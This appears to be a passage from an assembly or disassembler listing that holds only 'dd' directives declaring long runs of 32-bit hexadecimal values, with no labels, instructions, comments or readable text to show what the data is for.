		dd 1E9422C4h, 65A400F6h, 7E14CD15h, 1E4B1B76h, 0DF1E98BFh
		dd 5E6A9497h, 0C0C39E79h, 6089D3CEh, 0CDE7F48h,	8E81A5Eh
		dd 2900D623h, 67BFBE0h,	2409DD61h, 92C5BD9Dh, 435BF75Bh
		dd 17ADF03Eh, 4742009Eh, 6C3EF27Bh, 61289531h, 0D92F7830h
		dd 0DCFF68C6h, 0E2DB9808h, 2F61812Dh, 3B81212Eh, 0FC8D6BFAh
		dd 51136DCFh, 0D312D57Ch, 8C822AFh, 0CD271B5Eh,	0B15EC360h
		dd 0EDD5EBF8h, 8B1FE009h, 0C4FD4DC1h, 4B72F3C6h, 44E90F8Ch
		dd 15025707h, 10054447h, 9382D7D7h, 0B6787A76h,	0C039ED9Dh
		dd 78D38F56h, 809B81B5h, 0F4D6B8CFh, 200DE43h, 39CB53AFh
		dd 9CD90C09h, 3DE90E20h, 0D1B3EF80h, 0DEC11C98h, 6235F71h
		dd 172FCEE9h, 79C68823h
		dd 9200F070h, 16A8DBAAh, 287AA0BAh, 0D2AD89B3h,	0B8F4B9EFh
		dd 0BF9900D0h, 5A2E5D69h, 0F74AD780h, 41ADC0B4h, 99123018h
		dd 5DEA6AB7h, 79E1746Dh, 0E13E7A6Bh, 0E68A2A8Fh, 0EBC7574Ch
		dd 0E1AA0198h, 0E3E5C4ABh, 1E9A5106h, 9596C399h, 2F5F1369h
		dd 0B4E60575h, 474C79A1h, 124350C9h, 5209D1FFh,	24D5BD0Bh
		dd 0FEB85BB6h, 911F6FA2h, 0E7A48018h, 0B03321FFh, 386BB5FDh
		dd 0C8A555B7h, 0E8C5028Eh, 25BE2D4Dh, 35F23Eh, 33B97275h
		dd 16C4FDA0h, 0F9AC4235h, 8E502463h, 493F8560h,	9F860BB3h
		dd 4E8090ADh, 3588EEFBh, 19CDE9A0h, 0BB403BB9h,	0FA42DCF6h
		dd 0CE4E4BE9h, 5F7B1603h, 0D1E8F0A9h, 0DD5BF401h, 65B79F10h
		dd 5BF42ECh, 50E6B38Fh,	0CD368160h, 810F0124h, 0C632CD7Fh
		dd 0DCF7DCh, 0D1D316A3h, 5CC84554h, 0EEF56F25h,	0C273951Ch
		dd 0AC9D1251h, 90142065h, 41118F0Fh, 29A63D9h, 7715870Dh
		dd 744758F3h, 0D84554BFh, 0A18104BBh, 0B9902E41h, 0F3B692FAh
		dd 8D9D0305h, 729DAA30h, 80E29B2Bh, 0F87EBE87h,	0BDB20240h
		dd 8D3113B5h, 555A3243h, 0D43EBFF1h, 0E0C2F60Eh, 994507h
		dd 0E24EC6D8h, 0F80A90D9h, 9CEB3397h, 1F1B04Ah,	8BC7BF0Fh
		dd 0D0132EC8h, 0EA83CDECh, 0BFB590Dh, 0EF26CD90h, 846E4C3Fh
		dd 20829081h, 0E42F91BAh, 30D93071h, 0EEE02797h, 0B0D82F08h
		dd 4F2B1141h, 2B4895E3h, 96D37EEBh, 1611C8C1h, 0C82EE000h
		dd 0CD644B7Fh, 0A0800EDh, 0F80EB566h, 39254770h, 10D8724Dh
		dd 0C20D7D85h, 4129C82Bh, 8B002A15h, 5BCF8D1h, 44B11C4Ch
		dd 21378508h, 877B3F07h, 0D189C083h, 53900319h,	20F80FDAh
		dd 0BE066824h, 8E3E84D9h, 482EE12Ah, 0BF812FAFh, 3C97E7F3h
		dd 657850B2h, 0B2D929h,	91205944h, 0E90032E2h, 8F38A6AEh
		dd 9794905h, 860FED40h,	8564DCD6h, 0B32A8FC9h, 0A9A34EFDh
		dd 0EDBD010Eh, 88FFB912h, 0C899228h, 0A51F0A66h, 0F5FE21A0h
		dd 0CE82FEBAh, 88CA8413h, 119996B0h, 0B08E595h,	0CC73E2ECh
		dd 613E720Fh, 8A7085CDh, 1D7DF9ECh, 0D2B42C51h,	9AA0FEDAh
		dd 0AE0A97FBh, 0D20EFC75h, 87BDD19Ah, 0AA22FEACh, 3DEFC0D5h
		dd 229B0B7Ah, 0B4063B9h, 897BCB7h, 411A829Bh, 9E97777h
		dd 6AA62A2Ch, 0D3BB6601h, 2ABD8971h, 24AB0494h,	216EEE84h
		dd 0C434FE0Eh, 0FAFC65C5h, 8E38E422h, 2C805FF1h, 980A1249h
		dd 0B3BD0909h, 0BC735F0Ch, 8E01B569h, 0F680677Ch, 0CC5A5751h
		dd 6F983573h, 242F4D24h, 5DFA2553h, 9C5670C2h, 28D31CFEh
		dd 0AED049ACh, 234A5678h, 83D72760h, 5F4F0921h,	58E65787h
		dd 6F25DA90h, 0B285C639h, 0B6EF25E5h, 0CD6987C5h, 2FDC179h
		dd 62DB3A3Dh, 0E8423C81h, 54411010h, 1EA400B5h,	234C1263h
		dd 6D04DEA3h, 0FD29DD2Ah, 89AE4885h, 0D2292B5Eh, 6F3F7B65h
		dd 6B022437h, 0A7BF5B69h, 0B050FB7Bh, 0B2FA667Eh, 0FF2DA555h
		dd 0C0A8EDE1h, 0AB8D4503h, 7B21B712h, 8A87C2E2h, 0B7750B04h
		dd 0F9C6829Ah, 0A1706D40h, 0E18E0A4Bh, 78997322h, 0EE56AF80h
		dd 3A5DECh, 0DD752E77h,	0ED07A31Ah, 0FDA90A02h,	5CD4D153h
		dd 0A51751D9h, 45E9904Dh, 4F7B8EFh, 0B809ED34h,	9580824Ah
		dd 5F250052h, 0CE3B6D60h, 0A761F001h, 1CA2230Dh, 7E02AC7Ch
		dd 5C3B42CAh, 0EEB709FDh, 0BCA0DD70h, 0C6950D01h, 0B760793Bh
		dd 0E0055BDh, 0BCA117Ah, 25989558h, 3E14C6BBh, 12BE1AC7h
		dd 0E0E70CB5h, 59F8C04Fh, 0EABD5018h, 4117DAEFh, 28AB75DEh
		dd 0CAB84AB0h, 0C45312D3h, 0C0D28191h, 8C97E68h, 0E11F03F0h
		dd 8D1009E5h, 0D00E4474h, 0D9C7216h, 15786C8Eh,	0F9DF0380h
		dd 1B0A5D3Fh, 3DECDDBFh, 6A805B13h, 0A88B36DEh,	0B7605780h
		dd 7CD3B290h, 26AA5F01h, 617E824Eh, 98858BDDh, 0FB1E7ABFh
		dd 0F5FA1632h, 683FF37h, 0AAF032F3h, 5A71E2A1h,	8D091207h
		dd 0AD4584A9h, 8C1AACD9h, 9A00F597h, 0F559C27Ah, 2DB6894Ah
		dd 0D4301BA2h, 0BA180277h, 139C53D2h, 2368FAA0h, 0EFBFFCE9h
		dd 0A6BE60BAh, 7C04D448h, 0F967384Eh, 23676BAEh, 271E0416h
		dd 0E582B033h, 458F1144h, 80F77813h, 730CBB7Ah,	39230302h
		dd 0BF796F1h, 6159E690h, 29289A97h, 0A7F759FCh,	721E54E4h
		dd 6681233Dh, 5BD98BDDh, 60D8302Eh, 3AD3FC8Ah, 6117D0B9h
		dd 0F0DCA689h, 0CEDE555h, 0DFA4D4F0h, 0CC95F896h, 48042AAh
		dd 1EA9BD0Bh, 0C128BC34h, 0E259D2Bh, 73509601h,	0BDAD1EF9h
		dd 0CF358B40h, 0FF698D1h, 4C45E053h, 5AD0E272h,	0B4C060DBh
		dd 2870F6BBh, 0B4F72048h, 261818Ch, 8EE85B81h, 0C5767EBh
		dd 918B4E64h, 0EDFB9DC5h, 0AD60535Ch, 0C05149h,	0E7433527h
		dd 0C8EEFA94h, 6E60BF05h, 24FE96E0h, 7E6FBh, 3886B28Bh
		dd 10F56EEFh, 49A9D1EEh, 998D8012h, 0E4169B10h,	0BFC6022Ch
		dd 264309F7h, 88CE6355h, 95EAD380h, 4D9FE5CEh, 0BB6440CAh
		dd 8700C846h, 0A3A92866h, 2CB3901Ch, 204F502Bh,	5260175Bh
		dd 0C0C0F85Bh, 0EB819061h, 2A2B1236h, 6D820467h, 0F82BAE16h
		dd 5073BA81h, 498DD43Ch, 8F06F102h, 57FD8A61h, 1C91EB3Dh
		dd 9DA96A82h, 46659A7Fh, 0E6E500F1h, 0A1FDD74Ch, 9E4BB293h
		dd 3A27068Ah, 5DDA7053h, 3B604019h, 2423D78Ch, 0A5E1058Dh
		dd 298E0271h, 771A48BDh, 6B7D86Ch, 7D9529D7h, 0BDD32Eh
		dd 9D09C8B0h, 27E5972Dh, 0B0F761A5h, 0A9AD7D0Dh, 0B39897Fh
		dd 44F79DDh, 0A7A014F7h, 4C061943h, 0D167DDF0h,	0E7D84ACEh
		dd 0C5CF096Ch, 0ABD3731Fh, 0EE585853h, 387EFE01h, 640DB737h
		dd 0AA0A352Eh, 119D8B60h, 0E016972Dh, 0F760A08Dh, 48C8FC75h
		dd 9779BBEDh, 85287964h, 0BA00E20Bh, 54B883B3h,	4A165C69h
		dd 106FB761h, 2189187Dh, 92FD3D7Dh, 0C922042Ah,	2E5D1931h
		dd 0BF91742Eh, 572B5729h, 1566E92h, 0B8A180CCh,	0BE381732h
		dd 0F423F592h, 6E01AC22h, 905287B4h, 0B53CB589h, 0BE86D39Dh
		dd 0F907057Eh, 0C4C81D9Dh, 3A6BEECDh, 600F1A23h, 0EDB9E14Fh
		dd 0E040517Ch, 258E2BFh, 0F525C081h, 0C3400C6Ah, 109504C2h
		dd 0AA56B4h, 7A9895E7h,	0F98A677Bh, 2050DCC7h, 0EB125E59h
		dd 8C1C21B5h, 0AC2EBC41h, 0B063803Ah, 0CE5EF25Fh, 0B555E01Eh
		dd 904B91BBh, 0DDD2908h, 5AB891B7h, 74C025ACh, 0F145EF55h
		dd 0BD6BCA1Eh, 0E8C0B41Dh, 92A4E9C8h, 63182786h, 0E099CD77h
		dd 0C00ECD17h, 5B763A4Dh, 0A05F9C1h, 10DF8204h,	0B10B6920h
		dd 9FEF004Fh, 46CF145Ch, 0F009A2D4h, 73B9CBD3h,	181759C2h
		dd 9446098Fh, 4C7BF5CBh, 505CFBADh, 0B300B5DDh,	9D5AFEB2h
		dd 1EC06EBFh, 0D3966CDCh, 1E21BEC6h, 0F205C323h, 0BA19007Dh
		dd 72CA8E59h, 78F50128h, 2F945ACFh, 961C7004h, 0C07E4D97h
		dd 0F11F91A7h, 96499C29h, 0DE5F7EA7h, 5EC1C200h, 0F7C603ADh
		dd 0F9EB25BBh, 1765CE6h, 7902FD25h, 0FA62CBC2h,	0E25C6D77h
		dd 18DFEC76h, 78E781FAh, 6D0D1645h, 2722C196h, 0B0CBF50h
		dd 14654BC7h, 13C3122Fh, 0D38CBDD4h, 0AEA249B6h, 0DE204D5h
		dd 308C75AFh, 1276D7A3h, 0FBFD4100h, 0C37D23A6h, 8058005Ch
		dd 0E1F3CBBDh, 66488192h, 0FD371208h, 0DAD3A4BDh, 0E21E80FDh
		dd 4B7C09C9h, 152BDAADh, 53DF8Bh, 0DB81E1E0h, 5127FD9h
		dd 3044D4D0h, 252E8028h, 501295EFh, 0EF6906Eh, 5C301BB2h
		dd 0D8F400E0h, 3103A6DBh, 584BF380h, 4DF607C5h,	2CF869E1h
		dd 20B980F3h, 4476B1h, 40F781FAh, 5F1DC753h, 8D2B9E97h
		dd 0E3A260B1h, 9C0397E4h
		dd 0F2DCE937h, 4EA98CFFh, 5B00ADB8h, 561795F4h,	0B2226h
		dd 77B527BBh, 0C18BF85Fh, 0B012D0F0h, 0BF36113h, 108AB84Ah
		dd 5F2610E1h, 40609C2Bh, 0C4B5B861h, 2CED054Ch,	8DC84B8Fh
		dd 0D8600C1h, 1579E43Dh, 8D009D69h, 0C3D42D73h,	7FBE5FA5h
		dd 4F0525A0h, 0E473978Bh, 62181B51h, 0C1AC2B07h, 0B38E23E0h
		dd 0B0697633h, 981E4Bh,	0DC8E93BDh, 8A30F667h, 7320CD4Eh
		dd 0A0B303h, 0B9D8B27Dh, 2B8381F9h, 33F7CF26h, 0F941D12h
		dd 0C550DBFFh, 0AC046814h, 0C5AB6FABh, 92B4F8C1h, 125B4CE1h
		dd 319F3AC0h, 10279D4Ah, 680DD650h, 9592B9A9h, 4C57AA41h
		dd 0F6BC57A9h, 89F77404h, 65A3820Fh, 5E1CF510h,	0B77C31E1h
		dd 0E80FBD4Fh, 880F28F0h, 64189760h, 7412A0BFh,	4FF31B84h
		dd 7457662h, 53D1FF01h,	63F36Bh, 0A3A2F948h, 1D2DA14Fh
		dd 4363C3EAh, 2FC22879h, 3C5F49E9h, 864E8030h, 251881CCh
		dd 50E5D594h, 0FC25591Ch, 2950F4BFh, 1F5B25F8h,	326ADE88h
		dd 71C46002h, 8B754BD2h, 880CE988h, 3507627Bh, 8F2A6710h
		dd 0B564B330h, 5614FB4h, 445C2E83h, 0BFF88AF6h,	1CDB9960h
		dd 0BDE25E9h, 0B5923AE5h, 6FFF4612h, 4A9F121Ah,	0FA00B8B2h
		dd 6A349469h, 3F09BF35h, 37101DB1h, 9CE8404h, 8DD4BEB5h
		dd 6BD62AB9h, 5ACA0094h, 82DF06C1h, 0B2F99725h,	90DE8B81h
		dd 0A5405152h, 985B1FAFh, 124A672h, 67FA3FE0h, 2BA0DF34h
		dd 8B00D5F2h, 0B77ADC93h, 29B39056h, 90F8D478h,	2B0E45A9h
		dd 40AED0C5h, 1BF181CAh, 3325A4B6h, 1C63EC61h, 12E19529h
		dd 74A7FF1Fh, 0C255DE27h, 0A7685C13h, 0C3CAED5Fh, 0AAE4395Ch
		dd 2C1E5A08h, 90C1F1Fh,	6305FF6Ah, 4147C3DBh, 0FB7ABFB4h
		dd 5FECB425h, 781FEE6Ch, 3301F3B9h, 90B42E9Dh, 0C770E1B0h
		dd 8EF4016Eh, 0F70E664h, 8B83688Ah, 4994DC8Bh, 0E4057178h
		dd 0D98A5271h, 2A2E89AEh, 20ABFA52h, 87DB176Fh,	0B04DF09Fh
		dd 0C05F4B5Ch, 0BD3816Ah, 114E2710h, 898509C2h,	0C15AC877h
		dd 0D2829801h, 95BE0B1h, 1EB99D10h, 4CD4C8DAh, 68C82B8Ch
		dd 9AD1E4FEh, 0A3E95A0Ah, 48F14BDDh, 0C7812F80h, 23E8AC3Ch
		dd 0F5F8997h, 1311EB29h, 4B448621h, 2356D2F9h, 20BF5624h
		dd 0EF30C1E2h, 0A281B600h, 3B28D89Bh, 90940095h, 0E086AA3Fh
		dd 2D4CE95Bh, 19D5C4F1h, 2E0CDDEEh, 0AF183E22h,	11A56A57h
		dd 151EFE12h, 69E3A094h, 422E71C4h, 5300EE58h, 0B7B18531h
		dd 7B6AA6A6h, 7BBA65E3h, 0F2A86FA2h, 0CE5BBA7Ch, 0FE04DE20h
		dd 6C9701B4h, 0B9D9462Ah, 561CA573h, 6607DE25h,	38B9486h
		dd 0B7821ED7h, 31495EA9h, 72061CAh, 0DC8C5679h,	0D8913027h
		dd 3612740h, 0E03ECB53h, 0C2AAE3AEh, 0A34E9D29h, 6140E102h
		dd 7553C02Bh, 0CFD73990h, 0CD83E300h, 87022FA2h, 0B1D20080h
		dd 0A8DA9290h, 0BE5038FFh, 2BE25BEAh, 8D09BFFCh, 7979C553h
		dd 0BD31E15Bh, 2A5ECE29h, 8AF7FCC4h, 0ACADAD5Bh, 0B72316A9h
		dd 0D2AFB9B8h, 7E8029DAh, 7BE97990h, 2EE4CC05h,	0E3F8F944h
		dd 2110D7D0h, 408B4B2Ch, 0A364F6D7h, 0A9F8DBDCh, 0D10135F1h
		dd 4E343B24h, 5FC813B9h, 3DE57EADh, 0ABD2ACCEh,	78F8460Eh
		dd 9F09AA40h, 0FB252236h, 6423EDF5h, 9BDB601Bh,	0F4634E73h
		dd 0FF09F5EEh, 79DA8BE1h, 5D644603h, 71DEF8C9h,	216F46E1h
		dd 0C55B5325h, 1F2A18CAh, 3805DF81h, 6074D81Bh,	4076EEFh
		dd 51CAFEA2h, 0C20DFCEEh, 4326DB5h, 25BAB85Bh, 29B9C0F5h
		dd 2CB1278Dh, 1F7E46D5h, 4024A331h, 0CB7A8894h,	0F09FD466h
		dd 9D70950h, 0CF725B95h, 8031E95Bh, 7A3B0DC1h, 61880194h
		dd 5AFC9F4Fh, 4C622E4h,	9BD2930h, 0C5CFB917h, 2CE8FC8Ah
		dd 0B24A195Ch, 88DB001Ch, 0BB167B6Bh, 31702F8h,	0CD495130h
		dd 3D77858Bh, 4E100F6Ah, 8D669280h, 0B99460CEh,	4834C40h
		dd 0D091169Eh, 0CE5E009Dh, 683FB361h, 767E4900h, 0D22CBBEAh
		dd 812B303Bh, 0A885B6B0h, 5E8B1527h, 0A9FC446Ah, 0A3A6D665h
		dd 0DCB5FCA0h, 9920FF90h, 0C04CB52Bh, 5B14CF0Eh, 9D234242h
		dd 0E9D8A2F5h, 64A95F9Fh, 0EAEDD085h, 89A89E84h, 0C9EA9B4Ah
		dd 0BE59C6B9h, 0B48D4077h, 410499FCh, 1233C33Ah, 23716BAEh
		dd 13320216h, 655CF9C7h, 24EA2B64h, 0D25DACD7h,	0EF8B7D9Bh
		dd 1B40E850h, 44E8E489h, 40001D0Ah, 6F0DF8A1h, 0C78ADB7Ch
		dd 0D8A5BD72h, 8F645F12h, 8A165AACh, 2BC081DDh,	925C7B31h
		dd 46E6F9D2h, 5C3018B2h, 0A72517E1h, 0AFAE13B1h, 282B4DE1h
		dd 0DCBA534Bh, 90505F2Fh, 1775D639h, 0B69AAE95h, 256E480Bh
		dd 6AE0FE5Fh, 0CA56082h, 1225ECB5h, 4846C48Fh, 0F3092858h
		dd 1F715467h, 0E34B4D2Dh, 0E688D686h, 0E51796FFh, 1A1E7E0h
		dd 302E2431h, 2C13E5Ch,	274E597Ch, 0EB0042A2h, 0B3F12C3Ch
		dd 1E00254Eh, 14573BB2h, 181AE398h, 0AEFE5C29h,	0AE4B62DBh
		dd 0FB8B9F04h, 0B713EFE9h, 0C19704FEh, 0C03BB91Fh, 0F74FBF66h
		dd 0E0D8AD61h, 0D699EBB8h, 3682774Ah, 291ED70Dh, 163DE880h
		dd 1104C7B5h, 1BE91A05h, 75DD540Bh, 7B5188C9h, 84777127h
		dd 52F1BD0Bh, 6A9CD9A2h, 9B509D8Bh, 758B8785h, 0F47F5403h
		dd 0F7F14801h, 2987037Ch, 0CA3EDF21h, 0B35105E7h, 0DB495BC0h
		dd 0E995560Ah, 9DC5B07Fh, 0DC094AA9h, 0BD123323h, 0A4B219D5h
		dd 0A428A6D7h, 8170EDEFh, 20E98531h, 0E087523Ah, 0E29557A9h
		dd 0D5C675CBh, 63D32802h, 0D6962E71h, 781B15E3h, 7EF8082h
		dd 7D6BB056h, 2F60D01Ah, 0E80B7032h, 70F8607Ah,	0A9EDD2D5h
		dd 1B6EC80h, 46AA7FE1h,	2B36C259h, 830FB531h, 0E7802740h
		dd 859A9569h, 1DC27263h, 0FF30BA55h, 722E3602h,	0AB284156h
		dd 50530569h, 40BBB437h, 0B525BFF3h, 823D0B01h,	0F50D4ECBh
		dd 9545ABD0h, 31574999h, 0C572A7Ch, 0EFF083A6h,	0E29DA294h
		dd 0A792FD35h, 0C5238874h, 0FC4DB233h, 3E0C2DABh, 1C0FD56Ah
		dd 70EB0DD7h, 68950430h, 254A690Bh, 692C5692h, 0FCA534DEh
		dd 35BD8544h, 342DAF0Fh, 0B0D8F66Ah, 0B0C9EAD3h, 8837121Bh
		dd 5F94A327h, 91F28585h, 6A45618Dh, 0B102856Eh,	0F9B531AFh
		dd 0E65F6A4Ah, 0DAD61C26h, 9D360534h, 120884E4h, 0E0B0E67Ch
		dd 29EA282h, 399209E7h,	84770AE2h, 0FC0A11E5h, 1946DCA1h
		dd 4B3A7900h, 81B8D251h, 9B83D705h, 0DA17582Fh,	1DC8E1DAh
		dd 0E5E9DBC0h, 0A1200209h, 270C4F58h, 58548B89h, 0C7D40255h
		dd 7E418F9Bh, 7DAC65C1h, 8C18ACEEh, 0DFBD205h, 0D8E87FE0h
		dd 9B916B80h, 0C800AAE1h, 4DE4415Bh, 263AE3Ch, 108AF5A2h
		dd 556C522h, 7C093D51h,	81169FEAh, 0A4D9DEB8h, 43DE2AC6h
		dd 0E1FAE980h, 0EB02885Bh, 0B70C889h, 1C4AFD9Dh, 7C69C9F9h
		dd 70E105Ch, 0FFF594E9h, 8104B719h, 0D25BA30Eh,	697696CAh
		dd 0C12587FDh, 987059F3h, 228D1CF2h, 57FDD601h,	0AC0EFDF0h
		dd 0FE0B8C17h, 44C695DDh, 2CDA0004h, 0B0E651F7h, 9E03F94Ch
		dd 0FFD439CCh, 287DD0B4h, 1FDC4C26h, 9D1A615Ch,	9FFCDD95h
		dd 5BDC511Ch, 0FAF0696Dh, 900ADC07h, 2E6930C4h,	4F20C7CDh
		dd 0A4454AF7h, 2A50FD85h, 7D4B736Eh, 0B509DBF8h, 8C512081h
		dd 8395882Fh, 0E1BB9080h, 0B5393C2Fh, 93035218h, 1B327400h
		dd 0A047711Ah, 0D3640081h, 9D2B907Fh, 2595022Dh, 0DE1A554h
		dd 81B09E7Fh, 367B4BB4h, 16582C6h, 0BE385517h, 660A6056h
		dd 0A2A319BBh, 5B57C61Fh, 95CE60BFh, 4EB510BDh,	8B0F2EC0h
		dd 2A6BCF80h, 7669BCFEh
		dd 7000D4DFh, 6FC8BE49h, 4A11B041h, 7C718AA0h, 8F7A2EE1h
		dd 29C6B62Fh, 1B11B480h, 61760289h, 0D4CA80F0h,	82B7F605h
		dd 8604328Dh, 418D0CF9h, 48961E20h, 512D4194h, 0D5B17D46h
		dd 9096022Ch, 0ED80D59Bh, 6ED93880h, 9318BF5Ch,	4884339Eh
		dd 0AB56C2E2h, 1C424755h, 7A23567Dh, 23100132h,	512F247h
		dd 25CD820h, 0EF8060D4h, 5477292Eh, 0A46194D4h,	9D2945Fh
		dd 0B253F990h, 5024DBADh, 7331EDA6h, 90FE508Dh,	3133CD2Ah
		dd 47423AA2h, 91808EBBh, 3E7690D3h, 8D4865F2h, 51950C51h
		dd 0AD8B49ABh, 0D94A8BEEh, 18B2F0A6h, 6CCC2231h, 206A5EC6h
		dd 0FAA03AC0h, 13BE6200h, 4A33DB73h, 965B01D7h,	0E266F1A9h
		dd 0DA6F2F6Ah, 0EF922F00h, 967240B8h, 76753227h, 0F1FC69B4h
		dd 2482D135h, 0F0D67D25h, 0CD5E2EF4h, 0F879007Ch, 65BF345Dh
		dd 5B60712h, 242DCFA6h,	67C37910h, 1C924Ch, 0E6ABD380h
		dd 248D0970h, 622E0AF5h, 0ACF071E4h, 2B31C5Ah, 0F481FF35h
		dd 902CFB2h, 0FC56FA39h, 58806CBAh, 0B8D2A91Dh,	0BD678069h
		dd 190E018h, 0FC66A36Bh, 0C13F8653h, 5B42200Bh,	0AA042ECCh
		dd 0D79C25F7h, 87E0C242h, 9AB8C82Bh, 5D242D31h,	173F33D1h
		dd 7535FF0Bh, 7401F0A2h, 2138B877h, 13065576h, 8155C12Eh
		dd 7F9D121Dh, 7C0CC10h,	321D6A0h, 891D59Ch, 0CFD6522Dh
		dd 8C6F2ECDh, 36011891h, 32B29F65h, 482AEF99h, 0F8A52BEEh
		dd 0B30B6443h, 0F8604056h, 9CFCB81h, 6144FA89h,	62006871h
		dd 0E2DD4D17h, 0F3E81486h, 0DB008B6Ch, 63EED7A7h, 71B5CD62h
		dd 5A97A017h, 92FEA2F8h, 0A514AC5Fh, 20FE3215h,	0DB802103h
		dd 8BA0A1CCh, 323EC12Dh, 0CD05282Bh, 0ED22F82Fh, 13EBE15Ch
		dd 0FAA889EEh, 3BB7FF6Ah, 0DF13CA82h, 0C8665549h, 4CB789ECh
		dd 28902D64h, 5DD67E76h, 4582F01Dh, 0ECDF3447h,	0AAB97B3Fh
		dd 61CD5FFBh, 7A657E0h,	219004F6h, 0EB050D5Eh, 238DAA04h
		dd 0E1122F14h, 0B841F9FCh, 0D48A01D1h, 8250F936h, 80245B60h
		dd 1FF0715h, 0EEEA903Fh, 2B2612B7h, 0E0EDB6C0h,	907C9D3Eh
		dd 360D4470h, 43F57500h, 60BB5E27h, 0BE6744Ah, 0D22BF6A8h
		dd 78D62FC2h, 69C05325h, 4750C4D3h, 0B1930BEEh,	4B82AEC7h
		dd 37752E9Ah, 6F792D99h, 8046093Bh, 4431DD5Bh, 2BDEC9FEh
		dd 14F8B222h, 4004CD9Dh, 0FFD6D1E5h, 5AFD061Ah,	0C262D7A2h
		dd 0F95438D5h, 0F5951209h, 0B591B314h, 0A6A182E6h, 13AAE4CAh
		dd 6205BF25h, 99264010h, 7767B511h, 0D32F711Ch,	0CEF5D210h
		dd 8D0F27DAh, 0FEA02844h, 0CD4DDEC0h, 6461257Bh, 9D0115BFh
		dd 9A4A9549h, 0C017C89Fh, 9445785Bh, 7A06C2BFh,	0FCE16254h
		dd 0E9DB0F91h, 4A7879A7h, 8400D6A2h, 52DBA4A0h,	9AEEB81h
		dd 5B2E937Fh, 2C46C859h, 6C5C9568h, 86D905DCh, 0BBF1DAD5h
		dd 9993D530h, 30161DAEh, 5E37416Ah, 2B97DACBh, 0E9B7F828h
		dd 92CF3F5Bh, 0EB9F6665h, 2FD9CC1h, 0D2B79B14h,	2E7FC8AFh
		dd 0EFC99012h, 9B6A11E1h, 5323828Ah, 252E5CFFh,	0D116C037h
		dd 4D29F230h, 3BA70E2Fh, 9DC0570Ah, 9ED98809h, 0D7FB2C0Eh
		dd 72F8E9E2h, 37A3EF46h, 459F585Dh, 7DDFA15Ch, 82484CCBh
		dd 0D72FB17Fh, 0E3A9173Ah, 53563A55h, 0A84B5074h, 0ED5C2600h
		dd 1A18D7C1h, 0D74A9D50h, 93B77Dh, 0A4C8BD97h, 0F88910E9h
		dd 7050E8h, 59E5396Fh, 49FC8427h, 0D0C6C21Fh, 64D3EFh
		dd 52E8740h, 0C50E2822h, 31E6836h, 98BB8871h, 97149201h
		dd 3E16000h, 9DE677AEh,	0F90D8527h, 0B35D4BEBh,	5C24DAA9h
		dd 6B09E747h, 0D94547DCh, 0ACA534BEh, 0F756CF3Fh, 39F06527h
		dd 1F9955Eh, 827BB7B5h,	2E5B25A9h, 1923216Bh, 0C4D3400h
		dd 95231A5Dh, 0DB8018D4h, 0F6E08E8Fh, 752F00EBh, 63DAEF24h
		dd 2D02C92Eh, 0B237442h, 4073D433h, 0AE5B4F7Dh,	0E79AC000h
		dd 0F1D4EBC5h, 45F5AABh, 0B81D201Ch, 55F9C953h,	30E02CB2h
		dd 0E5B52A41h, 0BAEDAF53h, 2E385D49h, 62C4F8A3h, 22AF3071h
		dd 4C5CC274h, 0E92199A6h, 96870125h, 0C149810Fh, 0B3F0D83Fh
		dd 8C6AE641h, 9E00FF99h, 0BCE42A3Ah, 58B46h, 0C009C57Dh
		dd 0AA461AFh, 9684FA16h, 30066EBFh, 0B5DBB22Ch,	950B972Bh
		dd 0F66CFCh, 0D8E4163Ah, 6897D0ABh, 0F3E80F0Bh,	7970h
		dd 0DAAD3F09h, 89001519h, 47C886C2h, 4F27B701h,	0B3D55642h
		dd 0DB164E58h, 0F0019CA8h, 2970ECEBh, 5FAC2ABDh, 3A85CD4Ah
		dd 0C5AFDA35h, 8E3AF831h, 0ABAC16E1h, 3119C8D2h, 80B8F9B5h
		dd 0F5EF056Dh, 3C4B5BB5h, 404BC8h, 0A5E6ECE9h, 51BEB0A8h
		dd 5F5BEF18h, 162BBFB0h, 0AD7735B1h, 2CBD27CFh,	48FD7C6Ch
		dd 0ACA4EA14h, 4ED480F7h, 12D37AC0h, 9B6149B5h,	9E7C8010h
		dd 9EB4399h, 3D8CBBFAh,	81607971h, 2174CEE3h, 11643D6Dh
		dd 39320A52h, 6454A5B0h, 0E3D9D61h, 0CBBEC0Eh, 65A9F238h
		dd 324BB9BCh, 0DB227E8Eh, 0C06A6DBDh, 6DB1998Ch, 82015327h
		dd 96639480h, 3A825AFh,	6D43AC4Fh, 2DC62AE7h, 52BB04C1h
		dd 0AD42A196h, 0A9958465h, 3647C853h, 127F8EEAh, 397E6100h
		dd 74DC3586h, 133009D5h, 7656D8DDh, 500B5BEBh, 2116A31Ch
		dd 0E0EDB589h, 4B6D8350h, 6ED29D23h, 0DC80C99Bh, 8E85AB8Bh
		dd 60487E01h, 0A59BD31h, 51845E6Ch, 0B4FCB802h,	93A89EEDh
		dd 56001698h, 0DA96EADEh, 5E29BB74h, 4A75A99Dh,	2F2620EAh
		dd 0A717DA7Bh, 82B1D37Ch, 0A17B577Ah, 71422A61h, 9AC9DB80h
		dd 0A73755D6h, 0E9302F97h, 0BDD876h, 0EEB39153h, 4E718327h
		dd 0DD8CDB01h, 0A62A4CEBh, 0C870DA6Ah, 80BEC014h, 0E2ACE5CFh
		dd 8079379Bh, 5AE50A20h, 4084B71Ah, 0F4A95AFh, 4DFB6ADh
		dd 0BD2DD185h, 0CFB3C43Ah, 562C37BCh, 295F019Fh, 2F15018Dh
		dd 0BEC13B24h, 0B72A2F41h, 9D717F89h, 0B8361950h, 5DA7C28Ah
		dd 3A6A11E9h, 0A201756Fh, 31C5B557h, 9ECD22B0h,	2F32E7E5h
		dd 7650CC7Bh, 0B28B4E2Ah, 60960723h, 0AF81F6B8h, 0CCCB6150h
		dd 3DB97AE9h, 0DA8AC119h, 0A2D540BBh, 60C0996Bh, 0D678E81Ch
		dd 2CCD204Bh, 9EB8722Dh, 56168C17h, 8F70A144h, 39A24DBCh
		dd 81DC3DDFh, 84758F28h, 8397454Ah, 97EC6BBh, 879A6151h
		dd 811FBA0Eh, 66C19684h, 742F23B9h, 0C5BC05C6h,	229AB05h
		dd 0AC1479F0h, 8A0F2F18h, 75255FC6h, 0F4375710h, 71EC9489h
		dd 9B14FA7h, 55FC8A51h,	4BBEFE14h, 830917D4h, 0A2180173h
		dd 986BF7ECh, 0BBF989E0h, 16B60DC0h, 2334C65Ah,	5B6E004Ah
		dd 10221DBFh, 0DE4400CAh, 0A0627C48h, 7012DB12h, 86A86580h
		dd 5846BF5h, 56E9E4DDh,	48A313AAh, 0C198243Fh, 972C45B2h
		dd 1B919537h, 0D069C187h, 0BECB9293h, 4AFD78BFh, 4C3D585h
